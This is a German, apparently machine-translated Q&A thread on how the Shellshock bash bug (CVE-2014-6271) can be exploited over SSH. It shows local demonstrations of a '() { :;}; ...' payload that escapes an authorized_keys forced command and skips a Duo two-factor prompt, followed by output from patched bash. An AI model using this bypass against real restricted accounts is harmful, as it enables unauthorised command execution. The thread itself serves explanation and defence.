Wie kann Shellshock über SSH ausgenutzt werden?

Anscheinend kann der Shellshock-Bash-Exploit CVE-2014-6271 über das Netzwerk via SSH ausgenutzt werden. Ich kann mir vorstellen, wie der Exploit über Apache / CGI funktionieren würde, aber ich kann mir nicht vorstellen, wie das über SSH funktionieren würde.

Kann jemand bitte ein Beispiel geben, wie SSH ausgenutzt wird und welcher Schaden dem System zugefügt werden könnte?

KLÄRUNG

AFAIU: Nur ein authentifizierter Benutzer kann diese Sicherheitsanfälligkeit über SSH ausnutzen. Welchen Nutzen hat dieser Exploit für jemanden, der überhaupt legitimen Zugriff auf das System hat? Ich meine, dieser Exploit hat keine Rechteerweiterung (er kann nicht root werden), also kann er nicht mehr, als er es hätte tun können, wenn er sich einfach legitim über SSH eingeloggt hätte.

Ein Beispiel, bei dem dies ausgenutzt werden kann, sind Server mit einem authorized_keyserzwungenen Befehl. Wenn Sie einen Eintrag hinzufügen ~/.ssh/authorized_keys, können Sie der Zeile das Präfix " command="foo"to force" voranstellen, das ausgeführt werden soll, sobald der fooöffentliche Schlüssel "ssh" verwendet wird. Wenn für diesen Exploit die Shell des Zielbenutzers festgelegt ist bash, können sie den Exploit nutzen, um andere Dinge als den Befehl auszuführen, zu dem sie gezwungen werden.

Dies wäre im Beispiel wahrscheinlich sinnvoller. Hier also ein Beispiel:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Hier richten wir einen Benutzer ein testuser, der alle SSH-Verbindungen erzwingt, die mit Ihrem SSH-Schlüssel ausgeführt werden echo starting sleep; sleep 1.

Wir können dies testen mit:

$ ssh testuser@localhost echo something else
starting sleep

Beachten Sie, dass unser echo something elsenicht ausgeführt wird, aber das starting sleepzeigt, dass der erzwungene Befehl ausgeführt wurde.

Lassen Sie uns nun zeigen, wie dieser Exploit verwendet werden kann:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Dies funktioniert, weil sshddie SSH_ORIGINAL_COMMANDUmgebungsvariable auf den übergebenen Befehl gesetzt wird. Also auch wenn sshdlief sleep, und nicht den Befehl , den ich sagte ihm, weil der Exploit, mein Code noch ausgeführt wird.

Ein weiteres Beispiel von Ramesh: Wenn Sie die Zwei-Faktor-Authentifizierung verwenden, können Sie den zweiten Faktor mithilfe dieses Exploits umgehen, je nachdem, wie er implementiert ist.

- Normaler Login -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Code ohne 2FA ausführen -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Sie werden feststellen, dass der Code ohne Aufforderung zur Eingabe von 2FA ausgeführt wurde.

- Nach dem Patchen Bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

Shellshock ist eine Sicherheitslücke in Bash, nicht in SSH. Um es auszunutzen, muss ein Angreifer das anfällige System veranlassen, bash auszuführen und den Wert einer Umgebungsvariablen zu steuern, die an bash übergeben wird.

Um einen Bash-Prozess über SSH zu erreichen, muss der Angreifer die Authentifizierungsschritte bestehen. (Es kann Angriffsvektoren über andere Netzwerkdienste geben, die jedoch den Rahmen dieses Threads sprengen.) Wenn das Konto ohnehin beliebige Shell-Befehle ausführen darf, liegt kein Angriff vor. Die Sicherheitsanfälligkeit tritt auf, wenn das Konto auf die Ausführung bestimmter Befehle beschränkt ist, z. B. ein SFTP-Konto oder ein Git-Konto.

Es gibt verschiedene Möglichkeiten, ein Konto auf die Ausführung eines bestimmten Befehls mit SSH zu beschränken: mit der ForceCommandOption in sshd_configoder mit einem command=. Einschränkung in der authorized_keysDatei. Handelt es sich bei der Shell des Benutzers um eine Bash-Shell, kann ein Benutzer, der normalerweise nur auf das eingeschränkte Konto zugreifen würde, die Einschränkung umgehen und beliebige Befehle ausführen.